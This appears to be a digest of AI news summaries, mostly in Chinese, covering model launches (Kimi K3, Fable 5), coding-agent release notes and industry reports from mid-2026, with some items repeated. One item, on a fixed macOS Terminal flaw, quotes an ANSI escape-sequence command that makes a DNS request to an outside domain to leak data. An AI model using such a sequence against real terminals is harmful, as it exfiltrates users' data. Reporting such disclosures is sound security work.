SQLite Query Explainer:交互式查询计划解读工具
Julia Evans 基于 Fable 构建了 SQLite Query Explainer,一个在浏览器中通过 Pyodide 运行 SQLite 的交互式工具。该工具为 EXPLAIN 和 EXPLAIN QUERY PLAN 的结果添加了可读的解释层,帮助用户理解查询计划。作者提醒需谨慎使用,因其自身无法完全验证解释的准确性。
Julia Evans 基于 Fable 构建了 SQLite Query Explainer,一个在浏览器中通过 Pyodide 运行 SQLite 的交互式工具。该工具为 EXPLAIN 和 EXPLAIN QUERY PLAN 的结果添加了可读的解释层,帮助用户理解查询计划。作者提醒需谨慎使用,因其自身无法完全验证解释的准确性。
Claude Code v2.1.214 修复了 Windows PowerShell 5.1 中的权限检查绕过漏洞,以及 Bash 权限检查对超长命令(超过 10,000 字符)和 zsh 变量下标比较的误判问题。
谷歌 DeepMind CEO 德米斯·哈萨比斯表示,AI 虽在重塑科技行业,但 STEM 学位不会因此失去价值。他认为掌握软件和计算机科学基础知识能帮助人们更有效使用 AI,深入理解技术的人使用 AI 工具的效率可能达到缺乏基础者的 10 倍。哈萨比斯同时指出,AI 时代也需要伦理学、社会科学等人文学科。
工程师对小型功能请求的决策成本已超过代码实现成本。AI 智能体可在会议预热时间内生成首个补丁,将抽象的“是否在范围内”争论转化为可审查的具体产物。关键区分在于:代码生成便宜不等于维护便宜,只有人类能自信审查并承担长期责任的变更才算低成本。
Cursor 的模型评估负责人 Nate Schmidt 发现,Claude Fable 5 在其内部基准 CursorBench 上以 Max effort 模式达到 72.9%,创下新高。该模型在模糊的真实编程任务中表现出全局推理能力,例如在航天模拟器中仅凭一句提示自主规划并成功登月,而此前 Claude Opus 运行 12 小时以上仍无结果。
推荐理由:Cursor 工程师用自家基准和太空模拟器实打实测试了 Claude Fable 5,从全局推理到自主规划路径的能力跃迁很具体,做编码 agent 的可以看看这个‘p99 问题’解法。
Linux 创始人 Linus Torvalds 在邮件列表中公开支持在内核开发中使用 AI 工具,强调“Linux 不是反 AI 项目”,并称将作为顶级维护者坚持这一立场,反对者可以 fork 或离开。争议源于 Linux 基金会推出的 AI 代码审查系统 Sashiko,它通过定制提示词自动审查内核补丁。Torvalds 表示内核项目决策基于技术价值,而非对新工具的恐惧。
首届“小有可为”大赛乡村教育赛道一等奖作品“智绘科普”采用 Qwen3.5-397B-A17B 大语言模型与 Manim 动画引擎,通过多Agent分阶段协作与自动修复机制,将知识主题转化为可控、可编辑的教学动画。系统包含规划、草稿、实现、审查、合成五个阶段,渲染失败时可自动提取日志并修复,该工程范式可迁移至其他赛道。
推荐理由:这是官方出品的实战教程,拆解了一套多Agent协作+门控+自修复的工程流水线,技术思路通用,做AI应用的可以直接抄作业。
Grok Build just received another major update, introducing powerful conversation navigation, enhanced enterprise controls, smarter terminal workflows, and extensive reliability improvements Release Notes: v0.2.102 — 2026-07-16 Breaking Changes: • --minimal and --fullscreen flags now apply only to the current session. Features: • New /jump slash command lets you quickly jump to any previous turn in the conversation. • New /timeline sidebar shows a clickable tick rail for fast navigation between conversation turns. • grok login now requests Grok Projects scopes so workspace listing works after consent. • Permission mode can now be set fleet-wide via remote config when no local setting exists. • Edit tool output has a setting to show a compact one-line summary instead of always-expanded diffs. • Tab completion in !bash mode now works like a normal terminal (prefix fill, dropdown, directory drill-down). • Enterprise deployments can now disable voice dictation via requirements.toml so /voice and Ctrl+Space are hidden for everyone. • User prompts now appear bold only in --minimal mode; fullscreen keeps normal weight. • grok plugin install now accepts a marketplace's registered name as a qualifier. • Consecutive edits to the same file now collapse into a single scrollback row when collapsed edit blocks are enabled. • Local sessions now inherit your shell environment variables and keep the current directory across commands. Bug Fixes: • Login and re-login no longer stack multiple device-code polls or leave stale flows running. • Background task tools now render with correct icons and titles instead of the generic MCP wrench. • Task tool now correctly validates and displays allowed model slugs for subagents. • Rewind now correctly handles bash transcripts, permission follow-ups, and sessions that mix old and new prompt markers. • Re-login during a session now immediately uses the new token instead of requiring a new session. • Terminal commands using globs now behave the same on zsh as on bash and no longer fail with shell errors. • Installer no longer replaces stowed shell configuration symlinks with plain files on upgrade. • Voice transcription now works with enterprise API bases and API-key authentication. • Fixed crashes on some network-mounted home directories by using a safer SQLite journal mode. • Home and End keys now move to the ends of the current wrapped line in the prompt. • Arrow keys and Esc now work correctly inside viewers opened from the dashboard. • Warns at startup when user and project sandbox profiles define the same name differently. • Billing upgrade links now show the full URL in the transcript (and copy it) when a browser cannot be opened. • Fixed Ctrl+Y yank no longer working after sending a prompt. • No longer shows permission prompts seconds after a turn was cancelled with Esc or Ctrl+C. • Page Up and Page Down now move the highlighted entry to the top or bottom of the visible scrollback area. • Conflicting project and user sandbox profiles now show a clear warning on the welcome screen. • OAuth login URLs no longer contain duplicate referrer parameters. • File links in official VS Code Remote-SSH terminals now use VS Code's native path handling. • Minimal mode now shows the folder-trust prompt after sign-in when required. • Skills whose names collide with built-in slash commands are now reachable via qualified names. • Fixed background task tracking when using grok -p --no-wait-for-background so tasks are properly reaped on exit. • Rate limit errors (429) now show specific server messages (capacity, team limits, free-usage) instead of generic upgrade prompts, with correct copy based on auth type. • /copy slash command is now available in minimal mode. Performance: • Improved recap and compaction behavior.
Elon Musk 发推“Try Grok”并引用第三方测试,对比 Grok 4.5、Kimi K3、GPT 5.6 Sol 和 Fable 5 在 Three.js 代码生成上的表现。
kimi k3 vs gpt 5.6 sol vs fable 5 vs grok 4.5 @Kimi_Moonshot just dropped kimi k3 – a 2.8t param native multimodal model, the first open 3t-class release. key facts: • 1m token context. stable latentmoe activating 16 of 896 experts, built on kimi delta attention (kda) and attention residuals • quantization-aware training from the sft stage onward – mxfp4 weights, mxfp8 activations. moonshot claims ~2.5x scaling efficiency over k2 • max thinking effort by default. low- and high-effort modes are "coming in updates" – there is no way to turn the thinking down today, and you feel it in every run • pricing: $0.30/mtok cache-hit input, $3.00/mtok cache-miss, $15.00/mtok output. claims >90% cache hit rate on coding workloads • benchmarks: swe marathon 42.0 (1st – fable 5: 35.0, sol: 39.0, opus 4.8: 40.0), terminal bench 2.1 88.3, browsecomp 91.2 (1st), program bench 77.8 (1st), gpqa-diamond 93.5. loses frontierswe 81.2 vs fable's 86.6, and deepswe 67.5 vs sol's 73.0 our test – 3 prompts, single-file html, @threejs, fully procedural, no assets: 1. photorealistic european roulette wheel – 37 pockets in the real sequence, mahogany clearcoat bowl, chrome turret, diamond deflectors, flick-to-spin, ball that spirals inward and settles on a mathematically real number 2. las vegas slot machine – 3 reels behind transmissive glass, drag the chrome lever to play, mechanical odometer counters modelled in 3d, coin physics on win 3. full pinball table – 6.5° tilted playfield, flipper impulse physics, spline ramps, drop targets, 6 bumpers, mechanical score reels in the backbox we ran the test on @aimlapi platform results: - cost #1 grok 4.5 – $0.30 #2 kimi k3 – $0.71 #3 gpt 5.6 sol – $2.05 #4 fable 5 – $7.69 - tokens #1 grok 4.5 – 34,241 #2 gpt 5.6 sol – 51,748 #3 fable 5 – 144,126 #4 kimi k3 – 157,999 - lines of code #1 gpt 5.6 sol – 3,054 #2 grok 4.5 – 3,047 #3 kimi k3 – 2,255 #4 fable 5 – 1,950 - generation time #1 grok 4.5 – 5.1 min #2 gpt 5.6 sol – 22.0 min #3 fable 5 – 31.5 min #4 kimi k3 – 75.6 min observations: • kimi k3 is cheap and it is slow. 75.6 minutes across three prompts against grok's 5.1. it is 2.4x grok's price and 15x grok's wall clock. the roulette took 15 min, the slot 18, the pinball 42 • it failed 2 of 3. only the roulette works. the slot machine has reel cutouts on both faces of the cabinet and the symbols face backwards – you can only read your spin by walking around to the rear of the machine. the pinball table stands vertically on its edge with the legs floating detached beside it. • 81% of kimi's output tokens are reasoning, not code. grok: 22%. you are not paying for a bigger answer, you are paying for a longer argument with itself • price per 100 shipped lines – grok $0.010, kimi $0.031, sol $0.067, fable $0.394. a 39x spread for the same three files kimi k3's code quality: upsides: • the roulette is genuinely good – procedural wood grain with real specular breakup, correct european sequence (0-32-15-19-4...), chrome turret, diamond deflectors, clean console • the pinball artwork is the best in the test – a synthwave "nova strike / deep space" field with six individually coloured neon bumper rings, a retro sun on a grid horizon, a nova burst, and a scoring legend printed on the apron. no other model printed the rules on the machine. it is a beautiful texture on a broken object • physics reasoning is real – it derived a 480hz substep for the collider, worked out ball settle conditions and termination guarantees, and checked every ramp exit vector by hand before writing any of it • it is the only model that saw the importmap trap coming. sol shipped a blank white page twice because three.js addons import the bare specifier 'three' and die without an import map downsides: • it dodged that trap on the slot by loading three.js r128 through classic script tags – a 2021 build with no working transmission. its slot glass rendered fully opaque and buried all three reels behind a white pane. the code asks for transmission: 0.93, ior: 1.5 – correct, and silently ignored by a renderer that predates the feature • after 42 minutes and 212k characters of reasoning, the pinball cabinet is not assembled. the table stands vertically on its edge like a wardrobe – the prompt asked for 6.5° from horizontal, it delivered 90°. the legs float detached in the void beside it. head-on it photographs beautifully; orbit ten degrees and it is a painted slab with four chrome rods hovering nearby • the playfield z-fights with the glass – hard black banding across the whole field as soon as you pull the camera back a note on the pinball, in fairness to kimi: nobody passed it. every model shipped broken ball physics and controls you cannot trust. it is the hardest prompt we have run and the whole field failed it, each in its own way kimi k3 reasons better than anything else here and it shows exactly where reasoning pays – physics constants, sequences, edge cases, traps the others walked into follow @thehypedotnews for 24/7 ai news, analysis and breakdowns
Big news: Kimi-K3 by @Kimi_Moonshot is now #1 in the Frontend Code Arena with 1679 pts, surpassing Claude Fable 5. This is a 17-place jump from Kimi-k2.6 (#18 -> #1). In Frontend, Kimi-K3 ranked #1 in 6 of 7 domains: Brand & Marketing, Reference-Based Design, Data & Analytics, Consumer Product, Simulations, and Content Creation Tools, landing #2 only in Gaming behind Fable 5. The full model weights will be released by July 27. Congrats to the @Kimi_Moonshot team on this major milestone!
作者在 GPT 5.6 和 Fable 5 上验证了 5 条经典提示语的有效性:开发时用奥卡姆剃刀做减法,验收时用墨菲定律做最坏打算;要求模型从第一性原理出发并开启多 Agent 对抗性审查。
如何在 Conductor 中使用 kimi-k3: 1. 在设置 → Harness 中安装 OpenCode 2. 添加 @OpenRouter API 密钥 3. 开始使用!
月之暗面推出迄今能力最强的开源模型 Kimi K3,拥有 2.8 万亿参数、100 万 token 上下文窗口,基于 KDA 混合线性注意力机制构建,原生支持视觉理解。它在长程编程、知识工作等场景表现前沿,但整体仍落后于 Claude Fable 5 和 GPT-5.6 Sol。即日起可通过 kimi.com 等渠道使用,完整权重将于 2026 年 7 月 27 日前发布。
推荐理由:K3 把 2.8 万亿参数开源,并展示了从内核优化到芯片设计的连贯长程能力,为评估开源模型在复杂工程任务中的实际上限提供了参照。
LM Studio 发布 Bionic,一款面向开源模型的 AI 智能体工具,可处理编程、研究及复杂文档工作。除调用本地端侧模型外,Bionic 还能通过 LM Studio Secure Cloud 云端调用 GLM 5.2、Kimi K2.6、Qwen 3.6 27B 及 Gemma 4 12B 等更强模型,云端请求遵循“零数据保留”政策。该工具还内置跨应用语音键盘,转录在设备本地完成。
截至2026年7月,智谱年度经常性收入(ARR)达10亿美元,从1亿增至10亿仅用5个月,比Anthropic快10个月。其最新开源的GLM-5.2在Code Arena盲测中取得全球可用模型第一,多项指标追平Claude Opus 4.8及GPT-5.5。
谷歌旗舰 AI 模型 Gemini 3.5 Pro 因编程表现未达目标已延期数月,引发内部不满。谷歌更换了部分训练数据以改善编程能力,但测试结果未达预期。Anthropic 和 OpenAI 不断推出能力更强的新模型,令员工担忧谷歌丧失市场优势。
Claude Code v2.1.212 新增 `/fork` 命令,可将当前对话复制到新后台会话中独立运行。新增会话级 WebSearch 调用上限(默认 200)和子智能体生成上限(默认 200),防止失控循环。MCP 工具调用超过 2 分钟自动移至后台,并修复了计划模式自动执行文件修改命令等多项问题。
Puter 将 Firefox/Gecko 编译为 WebAssembly,使整个浏览器能在另一浏览器中运行。该项目利用 Claude Max 订阅计划,消耗约 25,000 美元的 Claude Opus 和 Fable token 完成。所有流量通过 Wisp 协议的 WebSocket 经 Puter 服务器代理,支持端到端加密。
月之暗面推出迄今最强模型 Kimi K3,拥有 2.8 万亿参数和 100 万 Tokens 上下文窗口。该模型在 Frontend Code Arena 中以 1679 分超越 Claude Fable 5 位居第一,在 7 个前端领域中的 6 个排名 #1。API 定价为每 100 万 Tokens 输入 2 元(缓存命中)或 20 元(缓存未命中),输出 100 元。
推荐理由:Kimi K3 的 2.8T 参数和 100 万上下文不是数字游戏,前端跑分实打实地压过 Claude Fable 5,七个子领域拿六个第一,这对做前端和长文档处理的人是个明确信号,可以下场试了。
谷歌将 AI 笔记助理 NotebookLM 更名为 Gemini Notebook,实现品牌统一。新版本为笔记本提供安全云计算机支持,原生支持代码编写与执行,可基于数据源进行复杂数据分析。该更新已面向 Google AI Ultra 用户及部分 Workspace 企业客户开放,未来几周将陆续推送给所有网页版 Pro 用户。
大家对 Kimi K3 的热情很高,所以我们立即向 OpenCode Go 用户开放。 我们目前尚未谈成折扣,因此它将以更高费率消耗你的额度。 希望很快能解决这个问题。
Apple 机器学习研究提出一种极简的自我知识蒸馏方法,让大语言模型仅使用自身原始输出即可提升代码生成能力,无需验证器、教师模型或额外数据。该方法在多个代码生成基准上取得显著改进,且计算成本极低。研究展示了自我蒸馏在代码任务中的有效性,为模型自我改进提供了新思路。
Conductor 从 Gemini CLI 扩展升级为便携插件,将对话式 Spec-Driven Development(SDD)引入 Antigravity CLI 和 Claude 等生态。开发者可通过自然对话与 AI 助手交互,由后者在后台动态管理 spec.md 和 plan.md 等持久化 markdown 制品,消除工作流摩擦的同时确保仓库作为项目架构与状态的版本控制单一事实源。
Big news: Kimi-K3 by @Kimi_Moonshot is now #1 in the Frontend Code Arena with 1679 pts, surpassing Claude Fable 5. This is a 17-place jump from Kimi-k2.6 (#18 -> #1). In Frontend, Kimi-K3 ranked #1 in 6 of 7 domains: Brand & Marketing, Reference-Based Design, Data & Analytics, Consumer Product, Simulations, and Content Creation Tools, landing #2 only in Gaming behind Fable 5. The full model weights will be released by July 27. Congrats to the @Kimi_Moonshot team on this major milestone!
月之暗面发布 Kimi K3,一个 2.8T 参数的开源模型,采用 Kimi Delta Attention 和 Attention Residuals 架构,支持原生视觉能力与 100 万 token 上下文窗口。
推荐理由:首个开源 3T 级模型,架构上有 KDA 和 AttnRes 创新,在超长程编码和知识工作上比肩闭源。权重两周后放出,所有做 agent 的都该盯紧。
OpenAI 调查发现,GPT-5.6 的 Codex 功能在启用完全访问模式且未开启沙箱保护(包括未启用自动审查)时,会意外删除文件。触发条件还包括模型尝试覆盖 `$HOME` 环境变量以定义临时目录,或模型误将 `$HOME` 目录删除。
Anthropic 工程师用 Claude Code 在两周内将 Bun 的百万行 Zig 代码迁移至 Rust,100% 现有测试通过,合并后出现 19 个回归问题已全部修复。另一工程师用周末将 Python 代码库迁移至 16.5 万行 TypeScript。迁移消耗约 16.5 万美元 API 成本,但编译时间从八分钟降至两秒,二进制启动快 6 倍。
推荐理由:Anthropic 用自家 Claude Code 把百万行 Zig 代码迁到 Rust,两周搞定,这不仅是案例展示,更是开发者如何用 AI 重构代码库的实操指南,尤其适合那些被遗留代码拖累的团队。
Google 将 NotebookLM 更名为 Gemini Notebook,并更深度整合进生态系统。新功能为每个笔记本配备可编写和运行代码的云端计算机,初期面向 AI Ultra 和 Workspace 用户。内部对比中,新系统胜率超 65%,高级网络研究场景达 78.2%。
博主推荐用户立即在 Kimi 购买 Coding Plan 并使用 K3 模型,称其为目前国内最好的模型。同时表达对国内算力的担忧,预测该模型可能像 GLM 一样很快售罄,建议用户先充值。
Replit 发文称其内部智能体系统已覆盖全公司职能,从 1 月初到 6 月底代码贡献行数增长 5.8 倍,剔除招聘效应后固定作者群体为 2.9 倍,同时 PR reversion 率与事故量保持平稳。
推荐理由:Replit 以自身工程、销售、支持团队的一手数据,展示智能体全面融入公司运营后的产出与质量变化,可用于对照组织落地的路径。
月之暗面于 7 月 16 日上线旗舰模型 Kimi K3,支持最高 1M 上下文窗口,在编程、游戏/3D 与知识类任务中表现突出。Kimi Code 目前提供 K3 与 K2.7 Code 两个模型共 3 个模型 ID,用户可按需选择不同上下文长度版本。更多参数与价格信息有待官方后续公布。
Johann Rehberger 报告 Apple 已在 macOS Tahoe 26.1(2025 年 11 月 3 日发布)中修复 macOS Terminal 的一个行为,该行为曾允许 ANSI 转义序列(如 printf "\e]7;file://some.data.wuzzi.net/\a")触发 DNS 请求,实现数据外泄。
xAI 的 AI 编程智能体 Grok Build 因被曝上传用户 SSH 密钥等全部文件至其 Google Cloud 服务器而引发争议。Elon Musk 随后宣布彻底删除已上传数据,xAI 禁用上传功能并在 GitHub 以 Apache 2.0 许可证开源完整源代码,代码库约 844530 行 Rust,支持完全本地运行。
SpaceXAI 于 2026 年 7 月 15 日开源 Grok Build,其 Apache 2.0 许可的 Rust 代码库涵盖智能体循环、工具调度、TUI 及扩展系统。Grok 4.5 仍保持闭源,且不接受外部贡献。
微软发布 VS Code 1.129,首次提供实验性现代化 UI 预览,需启用 workbench.experimental.modernUI。新版本引入 Agent Host 架构,将 Copilot 等 AI 智能体运行在独立进程中,并支持跨窗口会话与多智能体协同。